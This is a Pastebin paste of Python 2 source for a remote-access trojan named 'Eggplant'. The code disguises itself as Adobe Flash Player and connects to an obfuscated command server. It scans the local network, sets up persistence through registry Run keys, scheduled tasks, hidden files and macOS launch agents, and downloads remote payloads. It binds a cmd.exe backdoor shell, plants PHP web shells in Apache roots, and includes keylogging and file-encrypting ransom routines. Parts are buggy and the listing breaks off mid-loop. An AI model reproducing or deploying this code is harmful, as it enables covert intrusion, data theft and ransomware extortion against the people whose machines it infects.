Guest User

Untitled

a guest
Oct 27th, 2017
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 50.35 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. """Standard Library"""
  5. import os, sys, socket, subprocess
  6. from base64 import b64encode, b64decode
  7. from binascii import hexlify, unhexlify
  8. from random import randrange, choice
  9. from platform import uname
  10. from time import sleep
  11. from Queue import Queue
  12. from threading import Thread, Timer, Lock
  13. from requests import get, utils
  14. from urllib import urlretrieve
  15. from uuid import _ipconfig_getnode, _ipconfig_getnode
  16.  
  17. """Cryptography"""
  18. import Crypto.Cipher.AES as AES
  19. import Crypto.Hash.HMAC as HMAC
  20. import Crypto.Hash.SHA256 as SHA256
  21. from Crypto.Util.number import bytes_to_long, long_to_bytes
  22.  
  23. """Windows Packages"""
  24. import _winreg, pythoncom, pyHook, win32api
  25. from ctypes import *
  26.  
  27.  
  28. class Eggplant(object):
  29. '''Eggplant factory object for creating eggplant objects'''
  30. def __init__(self, *args, **kwargs):
  31. self.targets = []
  32. self.ransomed = []
  33. self.q = Queue()
  34. self.lock = Lock()
  35. self.listener_port = 4433
  36. self.pstring = self._pstring()
  37. self.run = kwargs.get('run') if kwargs.has_key('run') else None
  38. self.debug = kwargs.get('debug') if kwargs.has_key('debug') else None
  39. self.fname = kwargs.get('fname') if kwargs.has_key('fname') else 'AdobeFlashPlayer'
  40. self.port_scans = dict({})
  41. self.files = dict({'cache':[], 'log' : os.environ.get('TEMP', failobj=os.getcwd()) + os.sep + self.fname + '.txt', 'net' : os.environ.get('TEMP', failobj=os.getcwd()) + os.sep + self._temp() + '.txt', 'srv' : 'C:\Windows\System32\drivers\etc\services' if os.name == 'nt' else '/etc/services'})
  42. self.services = dict({i.split()[1][:-4]:[i.split()[0],' '.join(i.split()[2:])] for i in open(self.files.get('srv')).readlines() if len(i.split())>1 if 'tcp' in i.split()[1]})
  43. self.persistence = dict({'scheduled tasks':[], 'hidden files':[], 'registry keys':[]}) if os.name == 'nt' else dict({'launch agents':[], 'hidden files':[]})
  44. self.backdoors = dict({})
  45. self.urls = dict({'plist':'http://elderlyeggplant.000webhostapp.com/info.plist', 'icon_icns':'http://elderlyegglant.000webhostapp.com/icon.icns', 'icon_ico':'http://elderlyegglant.000webhostapp.com', 'icon_png':'http://elderlyegglant.000webhostapp.com/icon.png', 'osx_payload':'http://elderlyegglant.000webhostapp.com/osx_payload.sh', 'linux_payload':'http://elderlyegglant.000webhostapp.com/linux_payload.php'})
  46. self.icon = self.wget(self.urls.get('icon_icns')) if sys.platform.startswith('darwin') else self.wget(self.urls.get('icon_ico'))
  47. self.filepath = sys.argv[0]
  48. self.mac = '-'.join(hex(_ipconfig_getnode())[2:-1][i:i+2] if hex(_ipconfig_getnode()).endswith('l') else hex(_ipconfig_getnode())[2:][i:i+2] for i in range(0,11,2)).upper() if os.name == 'nt' else uuid1().hex[20:].upper()
  49. self.platform = uname()[0]
  50. self.device = uname()[2]
  51. self.localhost = socket.gethostbyname(socket.gethostname())
  52. self.login = os.environ.get("USERNAME", failobj="Unknown")
  53. self.machine = os.environ.get("COMPUTERNAME", failobj="Unknown")
  54. self.ip = get('http://api.ipify.org').text.encode()
  55. self.admin = bool(windll.shell32.IsUserAnAdmin() == 0) if bool(os.name == 'nt') else bool(os.getuid() == 0)
  56. self.info = "\n\tClient Host Machine Information" + "\n".join(["{} : {}".format(i[0],i[1]) for i in [('Sessions',self._sessions), ('Platform',self.platform), ('IP',self.ip), ('Machine',self.machine), ('Login',self.login), ('Admin',self.admin), ('Filepath',self.filepath)] if i[1]])
  57. self.registration = "INSERT INTO clients (uid, sessions, ip, platform, device, machine, login, admin, fpath) VALUES ('{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}')"
  58. self.server = {'info':get(self._deobfuscate('ZDM2ODU3MTQyY2U3NjQ3NDc3ZDBkMTg3MDIwZWIzOTNiMWI4YWE1NzcyN2YwMDUyZTAzYjdmM2I0Njc2MzEzZTk4YjdkMzIwMDY2OWM5Njk1OWIyYWM3M2RlNTI2MjJkMDc2Mzk2Mzc4NjU1ZDZhOTZjNWQ0MmEyNDk1ODY0Mjc1NGM0Y2JiM2Q3MzIzNjZiNTk4NmEyNmVkYjM4NDZjNWM1ODNkNmQ2MTJlOThmMDhhOTA2Y2Q3YjE4MTEyNmIyNGYyYWE3ZDY2OWRlNDQ3NDY4YTM4ODA2YTlhYmUwMTExYjEyN2YyYjY3N2M5ZDEzNzZkZTMyZThhNmU1ZDVkMTg3MzJiNjIyMzMxYzc3MTZhY2RkZTY0ZTc1NzczNDYyZTRkN2QyNGViOThlNTFjN2Q2NzJhOWRmNTYwMDJjOTljMzk5ZWNiNzMzYjY0YTM4YTkwNTA0MTA0YjQ3ZTM5ZDU3NWEzODk0NDFiMTYwYzU1ZDE3NWZjYTAyMjYyMDk5MjMxNGE3MGI5ODRkODA0ZWQ3MjkwZTdkZTY3MzM5N2RlYzUzMDQxYzI5YTg5ZWMzMGYwNjQ3NTViYzMzMDFkYWM1NmUxMjJlYzU2NjM0NTIyYzc0OGVjYjY0OTUzODg5YTRjNDFlNDRiNjI0NGJlYjdiMTNiOThkZGQ5YTEzMzVhZWMzYzg5NTExNDMxNzExMDJlNzcwMDc0ZDQ4MTEyYzU1MTNkNjhkOTViOWMzMzBlMjczNzI3MDgwYzNjYjYyOTcyZWVjMjMxYTIzYjBjMmExNjU4ODUzZDFhZDllMTMyODRhMTdlYjU='), headers={self._deobfuscate('MDQ0MTQ1NjAzOWQ0MTk4ZWQyNGQ0ZGE0Y2I5MDliMjYwZDI4YzVlMTE3NzllZTg='):self._deobfuscate('ZWM0OWQ0MTQ1ZTk1MTVjYjE0YTNkNzczODA4NTE2NTQxMWMyODk1OWIzNzY0ZTk1MWI1NmQxMDI2OTg0NjUzYzk4YTQwMWE3YTRkN2U4ZGQyYzM1NzQ1NGMzZWQ2Mjc2MTU1NzMwMjVkMmU3MzRkNThhYmJhOWFhNTdiZGQ5NTQ4NDVkNGVjMzY0NWVjOGM2Y2RhZDU0YjkwZTJiNjRiOTlkMDQxZWMzNzhjNzY2ZWI2NGM1NTQzZWMyYmIyZDg1NzMzYjUzNTc4YjU5YWJjOTNhMzNiOTQ1ODE4OTViZTRjYTg1MTFjMDE1ZTI1ZDM2OTM4YzgwYzU5MDQ3OGQ5M2E0MDkzODc5ZGFiZWIzYTI1Yzg1NTRiNDhmYzU0M2JlMjRkNjUyNzU1MTUxNjQ0MDc1YTQ2NjYyNTVkYjA2NGI5YmQ4MTYxOGIwNDQ5YTQyYjliMDFhMjEzYzUzMzM4NTg1NDg3MTcxOTYyMjhiYw==')}).json(), 'port':1337}
  59. self.connect = {'ip':self.server.get('info').get(self.server.get('info').keys()[0])[0].get('ip').encode(), 'port':self.server.get('port')}
  60. self.socket = self._connect()
  61. self.dhkey = self._diffiehellman()
  62. self.startup = self._startup()
  63. self.exit_status = self._run()
  64.  
  65. def _startup(self):
  66. """Executes startup routines"""
  67. for task in [self._heartbeat, self._lan, self._persistence, self._enum]:
  68. try:
  69. task()
  70. except Exception as e:
  71. if self.debug:
  72. with self.lock:
  73. print "Startup error: {}".format(str(e))
  74. return True
  75.  
  76. def _fname(self):
  77. """Server keeps track of the current naming scheme for each client"""
  78. try:
  79. if check:
  80. return check
  81. except Exception as e:
  82. if self.debug:
  83. with self.lock:
  84. print "Name error: {}".format(str(e))
  85.  
  86. def _heartbeat(self):
  87. """Check-in with server every 5 minutes automatically"""
  88. try:
  89. t = Timer(300.0, self.query, args=("UPDATE clients WHERE uid='{}'".format(self.mac),), kwargs={'method':'heartbeat'})
  90. t.daemon = True
  91. t.start()
  92. return
  93. except Exception as e:
  94. if self.debug:
  95. with self.lock:
  96. print "Name error: {}".format(str(e))
  97.  
  98. def _sessions(self):
  99. """Session tracker"""
  100. self.files.update({'session':os.environ.get('TEMP', failobj=os.getcwd()) + os.sep + '.' + self.mac + '.txt'})
  101. if os.path.isfile(self.files.get('session')):
  102. with open(self.files.get('session'), 'r') as fs:
  103. prev = int(fs.read())
  104.  
  105. current = prev + 1
  106. else:
  107. current = 1
  108.  
  109. with file(self.files.get('session'), 'w') as fp:
  110. fp.write(str(current))
  111.  
  112. return str(current)
  113.  
  114. def _pstring(self):
  115. """Defines template for ping arguments on the client host machine"""
  116. if subprocess.call('ping -n 1 localhost', 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True) == 0:
  117. return 'ping -n 1 -w 90 {}'
  118. else:
  119. return 'ping -c 1 -w 90 {}'
  120.  
  121. def _send(self, data, method='DEFAULT'):
  122. """Send encrypted data to server"""
  123. try:
  124. msg = method + ' ' + self._encrypt(data)
  125. self.socket.sendall(msg)
  126. except Exception as e:
  127. if self.debug:
  128. with self.lock:
  129. print "Send error: {}\n".format(str(e))
  130.  
  131. def _query(self, query, method='QUERY'):
  132. """Submit queries to database"""
  133. try:
  134. if method == 'heartbeat':
  135. t = Thread(target=self._heartbeat)
  136. t.daemon = True
  137. t.start()
  138. elif method == 'QUERY':
  139. self._send(query, method)
  140. ret = self.socket.recv(4096)
  141. if len(ret):
  142. self.q.put(ret)
  143. except Exception as e:
  144. if self.debug:
  145. with self.lock:
  146. print "Query eror: {}".format(str(e))
  147.  
  148. def _register(self):
  149. """Register client host machine on server database"""
  150. self.registration = self.registration.format(self.mac, self._sessions, self.ip, self.platform, self.device, self.machine, self.login, self.admin, self.filepath)
  151. try:
  152. self._send(self.registration, method='REGISTER')
  153. except Exception as e:
  154. if self.debug:
  155. with self.lock:
  156. print "Registration error: {}".format(str(e))
  157.  
  158. def _pad(self, s):
  159. """Pad data for AES encryption"""
  160. if len(s) % AES.block_size == 0:
  161. return s
  162. else:
  163. return s + b'\0' * (AES.block_size - len(s) % AES.block_size)
  164.  
  165. def _ping_threader(self):
  166. """Thread handler for bulk scanning IP addresses"""
  167. while True:
  168. worker = self.q.get()
  169. self._ping(worker)
  170. self.q.task_done()
  171.  
  172. def _ransom_threader(self):
  173. """Thread handler for ransoming files"""
  174. while True:
  175. worker = self.q.get()
  176. self._ransom(worker)
  177. self.q.task_done()
  178.  
  179. def _temp(self, base=None, case='title'):
  180. """Convenience name generator function"""
  181. names = ['Mobile', 'Resources', 'Temporary', 'Security', 'Cloud', 'Packages', 'Utilities', 'Library', 'Update', 'Settings', 'Backups', 'Icons', 'Images', 'Fonts', 'Filesystem', 'Resources', 'Defaults', 'Services', 'Version']
  182. if case == 'lower':
  183. output = str(base.lower() + choice(names).lower()) if base else choice(names).lower()
  184. elif case == 'title':
  185. output = str(base.title() + choice(names).title()) if base else choice(names).title()
  186. else:
  187. output = str(base + choice(names)) if base else choice(names)
  188. return output
  189.  
  190. def _connect(self):
  191. """Connects to server"""
  192. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  193. try:
  194. s.connect((self.connect.get('ip'), self.connect.get('port')))
  195. print '[+] Connected to {}:{}...'.format(str(self.connect.get('ip')), str(self.connect.get('port')))
  196. return s
  197. except Exception as e:
  198. if self.debug:
  199. with self.lock:
  200. print "Connection error: {}".format(str(e))
  201. sleep(10)
  202. self._connect()
  203.  
  204. def _enum(self, log=True):
  205. """Enumerates command output from Windows Net client"""
  206. cmds = [('ipconfig','/all'),
  207. ('netstat'),
  208. ('net','accounts'),
  209. ('net','file'),
  210. ('net','session'),
  211. ('net','share'),
  212. ('net','user'),
  213. ('net','view')]
  214. for cmd in cmds:
  215. try:
  216. subprocess.Popen(cmd, 0, None, fp, fp, fp, shell=True)
  217. except: pass
  218.  
  219. def _ping(self, host, *args):
  220. """Pings a machine in the local network and maps if alive"""
  221. if subprocess.call(self.pstring.format(host), 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True) == 0:
  222. if self.debug:
  223. with self.lock:
  224. print '\nDetected active host at {}'.format(host)
  225. self.scan(host)
  226. return
  227.  
  228. def _scan(self, host, port):
  229. """Port-scanner and banner-grabber"""
  230. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  231. try:
  232. sock.connect((host,int(port)))
  233. banner = sock.recv(1024)
  234. if banner:
  235. info = {str(port):{'protocol':self.services.get(str(port))[0], 'service':banner, 'state':'open'}}
  236. else:
  237. info = {str(port):{'protocol':self.services.get(str(port))[0], 'service':self.services.get(str(port))[1], 'state':'open'}}
  238. self.port_scans.get(host).get('ports').update(info)
  239. print '\nDetected Open Port: {} ({}) on host {}'.format(str(port), self.services.get(str(port))[0], str(host))
  240. except: pass
  241.  
  242. def _diffiehellman(self, bits=2048):
  243. """Diffie-Hellman key agreement"""
  244. try:
  245. p = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF
  246. g = 2
  247. a = bytes_to_long(os.urandom(32))
  248. xA = pow(g, a, p)
  249. self.socket.send(long_to_bytes(xA))
  250. xB = bytes_to_long(self.socket.recv(256))
  251. x = pow(xB, a, p)
  252. dh = SHA256.new(long_to_bytes(x)).digest()
  253. return dh
  254. except Exception as e:
  255. if self.debug:
  256. with self.lock:
  257. print "Diffie-Hellman error: {}".format(str(e))
  258. return
  259.  
  260. def _encrypt(self, plaintext):
  261. """AES 128-bit encryption """
  262. try:
  263. text = self._pad(plaintext)
  264. iv = os.urandom(AES.block_size)
  265. cipher = AES.new(self.dhkey[:16], AES.MODE_CBC, iv)
  266. ciphertext = iv + cipher.encrypt(text)
  267. hmac_sha256 = HMAC.new(self.dhkey[16:], msg=ciphertext, digestmod=SHA256).digest()
  268. output = b64encode(ciphertext + hmac_sha256)
  269. return output
  270. except Exception as e:
  271. if self.debug:
  272. with self.lock:
  273. print "Encryption error: {}".format(str(e))
  274. return
  275.  
  276. def _decrypt(self, ciphertext):
  277. """Decrypt data encrypted with session key"""
  278. try:
  279. ciphertext = b64decode(ciphertext)
  280. iv = ciphertext[:AES.block_size]
  281. cipher = AES.new(self.dhkey[:16], AES.MODE_CBC, iv)
  282. check_hmac = ciphertext[(len(ciphertext)-SHA256.digest_size):]
  283. calc_hmac = HMAC.new(self.dhkey[16:], msg=ciphertext[:-SHA256.digest_size], digestmod=SHA256).digest()
  284. output = cipher.decrypt(ciphertext[len(iv):-SHA256.digest_size]).rstrip(b'\0')
  285. if check_hmac != calc_hmac:
  286. if self.debug:
  287. with self.lock:
  288. print str("Sent HMAC-SHA256 Hash: {}".format(hexlify(check_hmac)) + "\nCalc HMAC-SHA256 Hash: {}".format(hexlify(calc_hmac)))
  289. return output
  290. except Exception as e:
  291. if self.debug:
  292. with self.lock:
  293. print "Decryption error: {}".format(str(e))
  294. return
  295.  
  296. def _deobfuscate(self, block):
  297. """Deobfuscate any obfuscated data, code, text, or files."""
  298. p = []
  299. block = b64decode(block)
  300. for i in xrange(2, len(block)):
  301. is_mul = False
  302. for j in p:
  303. if i % j == 0:
  304. is_mul = True
  305. break
  306. if not is_mul:
  307. p.append(i)
  308. return unhexlify(str().join(block[n] for n in p))
  309.  
  310. def _local_network(self, *args):
  311. """Worker function for LAN mapping"""
  312. try:
  313. stub = '.'.join(self.localhost.split('.')[:-1])
  314. for i in range(1,255):
  315. self.q.put(stub + '.' + str(i))
  316. t = Thread(target=self._ping_threader)
  317. t.daemon = True
  318. t.start()
  319. t.join()
  320. return
  321. except Exception as e:
  322. if self.debug:
  323. with self.lock:
  324. print "LAN error: {}".format(str(e))
  325. return
  326.  
  327. def _log(self, action):
  328. """Read, delete, clear, or upload standard output log"""
  329. try:
  330. if action == 'read':
  331. return self.cat(self.files.get('log'))
  332. elif action == 'delete':
  333. os.remove(self.files.get('log'))
  334. elif action == 'clear':
  335. with file(self.files.get('log'), 'w') as fp:
  336. fp.write(ctime())
  337. except Exception as e:
  338. if self.debug:
  339. with self.lock:
  340. print "Log error: {}".format(str(e))
  341.  
  342.  
  343. def _lan(self, mode=False):
  344. """Map local network"""
  345. if not mode:
  346. t = Thread(target=self._local_network)
  347. t.start()
  348. t.join(timeout=120.0)
  349. result = ['Local Area Network']
  350. for ip in self.port_scans.iterkeys():
  351. result.append(ip)
  352. result.append('Port scan report for {}'.format(str(ip)))
  353. result.append('PORT STATE PROTOCOL SERVICE')
  354. for port in self.port_scans.get(ip).get('ports').iterkeys():
  355. port_info = self.port_scans.get(ip).get('ports').get(port)
  356. protocol = port_info.get('protocol')
  357. service = port_info.get('service')
  358. banner = port_info.get('banner')
  359. state = port_info.get('state')
  360. info = '{}\t{}\t{}\t{}'.format(str(port), str(state), str(protocol), str(service))
  361. result.append(info)
  362. output = "\n".join(result)
  363. if self.debug:
  364. with self.lock:
  365. print output
  366. return output
  367.  
  368. def _persistence(self, **kwargs):
  369. """Establishes persistence on client host machine"""
  370. if os.name == 'nt':
  371. try:
  372. fpath = resource_path(sys.argv[0])
  373. interval = 'hourly'
  374. try:
  375. run_key = r'Software\Microsoft\Windows\CurrentVersion\Run'
  376. key_val = 'START /B {}'.format(sys.argv[0])
  377. reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, run_key, 0, _winreg.KEY_WRITE)
  378. _winreg.SetValueEx(reg_key, self.fname, 0, _winreg.REG_SZ, sys.argv[0])
  379. _winreg.CloseKey(reg_key)
  380. self.persistence.get('registry keys').append(key_val)
  381. except: pass
  382. try:
  383. direct = os.popen('attrib +s +h ' + sys.argv[0]).read()
  384. self.persistence.get('hidden files').append(sys.argv[0])
  385. except: pass
  386. try:
  387. schtask = subprocess.Popen(['schtasks','/create','/tn',self.fname,'/tr',sys.argv[0],'/sc',interval], 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True)
  388. out,err = schtask.communicate()
  389. self.persistence.get('scheduled tasks').append(self.fname)
  390. except: pass
  391. except Exception as w:
  392. if self.debug:
  393. with self.lock:
  394. print "Persistence error: {}".format(str(w))
  395. result = "\n\n" + "\n\n".join(["{} : {}".format(str(i).title(), str(self.persistence.get(i))) for i in self.persistence.keys()]) + "\n\n"
  396.  
  397. elif sys.platform.startswith('darwin'):
  398. try:
  399. filename = os.path.basename(sys.argv[0])
  400. if not filename.startswith('.'):
  401. hidden = '.' + filename
  402. os.rename(sys.argv[0], hidden)
  403. self.persistence.get('hidden files').append(hidden)
  404. except:pass
  405.  
  406. try:
  407. osx_paths = ['var','tmp','lib','local','cache']
  408. osx_files = ['.local','.cache','.fsevents','.V100_Spotlight','.bash_profile']
  409. fpath = os.path.join(choice(osx_paths), choice(osx_files))
  410. os.makedirs(fpath) if not os.path.isdir(fpath) else None
  411. except:
  412. fpath = os.path.join(os.environ.get('TEMP', failobj=os.getcwd()), choice(osx_files))
  413. try:
  414. plist = get(self.urls.get('plist')).text.encode()
  415. label = choice('updates','cache','itunes','spotlight','archives')
  416. infoPlist = plist.replace('__LABEL__',label).replace('__SELF__', sys.argv[0])
  417.  
  418. with file(fpath, 'w') as fp:
  419. fp.write(infoPlist)
  420.  
  421. self.persistence.get('hidden files').append(fpath)
  422. os.chmod(fpath, 0755)
  423. self.persistence.get('launch agents').append('~/Library/LaunchAgents/'+ label + '.plist')
  424. os.startfile(fpath)
  425. except: pass
  426.  
  427. result = "\n".join(["{} : {}".format(str(i).title(), str(self.persistence.get(i))) for i in self.persistence.iterkeys()])
  428. else:
  429. result = "\nPersistence not yet available for " + self.platform + "\n"
  430.  
  431. return result
  432.  
  433. def _backdoor(self, **kwargs):
  434. """Drops a backdoor on client host machine"""
  435. if sys.platform.startswith('darwin'):
  436. try:
  437. appname = kwargs.get('appname') if kwargs.has_key('appname') else self._temp()
  438. os.makedirs(os.path.join(os.getcwd(), appname + '.app/Contents/MacOS'))
  439. os.mkdir(os.path.join(os.getcwd(), appname + '.app/Contents/Resources'))
  440. payload_path = os.path.join(os.getcwd(), appname + '.app/Contents/MacOS/' + appname)
  441. icon_path = os.path.join(os.getcwd(), appname + '.app/Contents/Resources')
  442. template = self.wget(self.urls.get('osx_payload'), path=payload_path)
  443. icon = self.wget(self.urls.get('icon_icns'), path=icon_path)
  444. osx_payload = template.replace('__HOST__', self.ip).replace('__PORT__', self.listener_port).replace('__APPNAME__',appname)
  445. os.chmod(payload_path, 0755)
  446. self.backdoors.update({'app':str(os.getcwd() + os.sep + appname + '.app'), 'launch agent':str('~/Library/LaunchAgents/com.apple.'+appname)})
  447. return '\nBackdoor app:\t{}\nLaunch agent:\t{}\n'.format(str(os.getcwd() + os.sep + appname + '.app'), str('~Library/LaunchAgents/com.apple.' + appname))
  448. except Exception as y:
  449. if self.debug:
  450. with self.lock:
  451. print "Mac OS X backdoor error: {}".format(str(y))
  452.  
  453. elif os.name == 'nt':
  454. try:
  455. bd = self.wget('http://' + self.connect.get('ip') + '/sbd.exe')
  456. _ = os.popen('attrib +s +h {}'.format(os.path.abspath(bd))).read()
  457. self.persistence.get('hidden files').append(bd)
  458. if 'Error' not in bd:
  459. self.backdoors.update({'sbd':bd})
  460. t = Thread(target=self.run_cmd, args=('start','/b','/d',os.path.dirname(bd),os.path.basename(bd),'-l','-p','4433','-c','on','-q','-D','on','-e','cmd.exe'))
  461. t.daemon = True
  462. t.start()
  463. try:
  464. tn = kwargs.get('appname') if kwargs.has_key('appname') else 'Adobe{}'.format(self._temp())
  465. _ = os.popen('schtasks /create /tn {} /tr {} /sc hourly'.format(tn, bd)).read()
  466. self.persistence.get('scheduled tasks').append(tn)
  467. except: pass
  468. return 'Success - backdoor listening on {} at port {}'.format(self.connect.get('ip'), self.connect.get('port'))
  469. except Exception as ee:
  470. if self.debug:
  471. with self.lock:
  472. print 'Windows backdoor failed with error: {}'.format(str(ee))
  473. return
  474.  
  475. elif sys.platform.startswith('linux') or sys.platform.endswith('nix'):
  476. try:
  477. result = []
  478. if not self.backdoors.has_key('apache'):
  479. self.backdoors.update({'apache':[]})
  480. if subprocess.call('service --status-all | grep apache2',0,None,None,subprocess.PIPE,subprocess.PIPE,shell=True) == 0 and os.path.isdir('/var/www/html'):
  481. php = self.wget(self.urls.get('linux_payload'), path='/var/www/html/apache.php')
  482. self.backdoors.get('apache').append(path)
  483. result.append("Embedded backdoor in the Apache web server root directory: '" + path + "'")
  484. items = [i for i in os.listdir('/var/www/html') if os.path.isdir(i)]
  485. for doc in items:
  486. np = os.path.join(os.path.abspath(doc), 'apache.php')
  487. payload = self.wget(self.urls.get('linux_payload', path=np))
  488. result.append("Embedded backdoor in a website document root as: " + np)
  489. self.backdoors.get('apache').append(np)
  490. if subprocess.call('service apache2 start',0,None,None,subprocess.PIPE,subprocess.PIPE,shell=True) == 0:
  491. result.append("Apache webserver now running on client host machine...")
  492. return "\n".join(result)
  493. return
  494. except Exception as bderr:
  495. if self.debug:
  496. with self.lock:
  497. print "\n{} backdoor failed with error: {}".format(str(os.environ.get('OS')).capitalize(), str(bderr))
  498. return "\n{} backdoor failed with error: {}".format(str(os.environ.get('OS')).capitalize(), str(bderr))
  499.  
  500. def _update(self, name, executable, version):
  501. try:
  502. updatePath = os.environ.get('TEMP', failobj=os.getcwd())
  503. updateName = os.path.join(updatePath, executable)
  504. getUpdate, _ = urlretrieve('http://' + self.connect.get('ip') + executable, updateName)
  505. except Exception as ue:
  506. return 'Update failed with error: {}'.format(str(ue))
  507.  
  508. if os.name == 'nt':
  509. try:
  510. p = subprocess.Popen(['@ECHO','OFF'],0,None,subprocess.PIPE,subprocess.PIPE,subprocess.PIPE,shell=True)
  511. p.communicate('start /b /d ' + updatePath + ' ' + executable)
  512. except Exception as f:
  513. if self.debug:
  514. with self.lock:
  515. return "Update failed with error: {}".format(str(f))
  516.  
  517. elif sys.platform.starswith('darwin'):
  518. try:
  519. bundle = name.replace(' ','')
  520. bundleVersion = bundle + " " + version
  521. bundleIdentify = "com.apple." + bundle
  522. appPath = os.getcwd() + os.sep + bundle + '.app'
  523. os.makedirs(appPath + os.sep + 'Contents' + os.sep + 'MacOS')
  524. os.mkdir(appPath + os.sep + 'Contents' + os.sep + 'Resources')
  525. icon = self.wget(self.urls.get('icon_icns'), path=str(appPath + os.sep + 'Contents' + os.sep + 'Resources' + os.sep + 'icon.icns'))
  526. infoPlist = get(self.urls.get('plist')).text.encode() % (exe, bundleVersion, icon, bundleIdentify, bundle, bundleVersion, version)
  527.  
  528. with file(str(appPath + os.sep + 'Contents' + os.sep + "PkgInfo"), "w") as fp:
  529. fp.write("APPL????")
  530.  
  531. with file(appPath + os.sep + 'Contents' + os.sep + 'Info.plist', "w") as fw:
  532. fw.write(infoPlist)
  533.  
  534. os.chmod(appPath + os.sep + 'Contents' + os.sep + 'MacOS' + os.sep + exe, 0755)
  535.  
  536. except Exception as e:
  537. if self.debug:
  538. with self.lock:
  539. print "Update error: {}".format(str(e))
  540. return
  541.  
  542. def _run_keylogger(self):
  543. """Target for keylogging threads"""
  544. try:
  545. k = os.popen('schtasks /RUN /TN ' + bname).read()
  546. if self.debug:
  547. with self.lock:
  548. print k
  549. except Exception as e:
  550. if self.debug:
  551. with self.lock:
  552. print 'Run keylogger command failed with error: {}'.format(str(e))
  553. return
  554.  
  555. def _ransom(self, path):
  556. """Ransom worker function"""
  557. if not os.path.exists(path):
  558. return
  559. if os.path.isfile(path):
  560. secure = self.encrypt_file(path)
  561. if secure:
  562. self.ransomed.append(path)
  563. self.targets.remove(path)
  564. elif os.path.isdir(path):
  565. for i in os.listdir(path):
  566. secure = self.encrypt_file(path)
  567. if secure:
  568. self.ransomed.append(path)
  569. self.targets.remove(path)
  570.  
  571. def _purge_regkeys(key_name):
  572. """Cleaner helper function for purging Windows registry keys created for persistence"""
  573. all_keys = self.persistence.get('registry keys').keys()
  574. for key in all_keys:
  575. value = self.persistence.get('registry keys').get(key).get('value')
  576. run_key = self.persistence.get('registry keys').get(key).get('key')
  577. try:
  578. reg_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, run_key, 0, _winreg.KEY_ALL_ACCESS)
  579. _winreg.DeleteValue(reg_key, value)
  580. _winreg.CloseKey(reg_key)
  581. except Exception as e:
  582. if self.debug:
  583. with self.lock:
  584. print "Destruct error: {}".format(str(e))
  585. return
  586.  
  587. def _unschedule_tasks(self):
  588. """Cleaner helper function"""
  589. all_tasks = self.persistence.get('scheduled tasks')
  590. for task in all_tasks:
  591. try:
  592. delete = subprocess.Popen(['schtasks','/delete','/tn',task,'/f'],0,None,subprocess.PIPE,subprocess.PIPE,subprocess.PIPE,shell=True)
  593. output,error = delete.communicate()
  594. if 'SUCCESS' not in output:
  595. if self.debug:
  596. print "Delete scheduled task failed to remove task with name: {}".format(task[0])
  597. except Exception as e:
  598. if self.debug:
  599. with self.lock:
  600. print "Destruct error: {}".format(str(e))
  601. return
  602.  
  603. def _remove_backdoors(self):
  604. """Cleaner function"""
  605. for bd in self.backdoors:
  606. if os.path.isfile(bd):
  607. try:
  608. os.remove(bd)
  609. except Exception as t:
  610. if self.debug:
  611. with self.lock:
  612. print "Remove backdoor returned error: {}".format(str(t))
  613.  
  614. elif os.path.isdir(bd):
  615. if not os.name=='nt':
  616. try:
  617. r = subprocess.check_output(['rm','-rf',bd],shell=True)
  618. except Exception as er:
  619. if self.debug:
  620. with self.lock:
  621. print "Remove backdoor returned error: {}".format(str(er))
  622. else:
  623. try:
  624. r = subprocess.Popen(['rmdir','/s','/q',bd],0,None,subprocess.PIPE,subprocess.PIPE,subprocess.PIPE,shell=True)
  625. except Exception as p:
  626. if self.debug:
  627. with self.lock:
  628. print "Remove backdoor returned error: {}".format(str(p))
  629. return
  630.  
  631. def _run(self):
  632. """Main client loop:"""
  633. while not self.exit_status:
  634. try:
  635. data = self._decrypt(self.socket.recv(4096))
  636. cmd, _, action = data.partition(' ')
  637. results = None
  638.  
  639. if cmd == 'kill':
  640. self.socket.close()
  641. return 1
  642.  
  643. elif cmd == 'selfdestruct':
  644. self.socket.close()
  645. self.destruct()
  646.  
  647. elif cmd == 'quit':
  648. self.socket.shutdown(socket.SHUT_RDWR)
  649. self.socket.close()
  650. break
  651.  
  652. elif cmd == 'log':
  653. results = self._log(action)
  654.  
  655. elif cmd == 'register':
  656. results = self._register()
  657.  
  658. elif cmd == 'query':
  659. results = self.query(action)
  660.  
  661. elif cmd == 'info':
  662. results = self.get_info()
  663.  
  664. elif cmd == 'cat':
  665. results = self.cat(action)
  666.  
  667. elif cmd == 'ls':
  668. results = self.ls(action)
  669.  
  670. elif cmd == 'pwd':
  671. results = self.pwd()
  672.  
  673. elif cmd == 'scan':
  674. results = self.scan(action)
  675.  
  676. elif cmd == 'wget':
  677. results = self.wget(action)
  678.  
  679. elif cmd == 'download':
  680. results = self.download(action)
  681.  
  682. elif cmd == 'upload':
  683. results = self.upload(action)
  684.  
  685. elif cmd == 'update':
  686. results = self.update()
  687.  
  688. elif cmd == 'persistence':
  689. results = self.persistent
  690.  
  691. elif cmd == 'lan':
  692. results = self.lan()
  693.  
  694. elif cmd == 'keylogger':
  695. results = self.keylogger(action)
  696.  
  697. elif cmd == 'backdoor':
  698. results = self.backdoor()
  699.  
  700. elif cmd == 'encrypt':
  701. results = self.encrypt_file(action)
  702.  
  703. elif cmd == 'decrypt':
  704. results = self.decrypt_file(action)
  705.  
  706. elif cmd == 'execute':
  707. results = self.execute(data)
  708.  
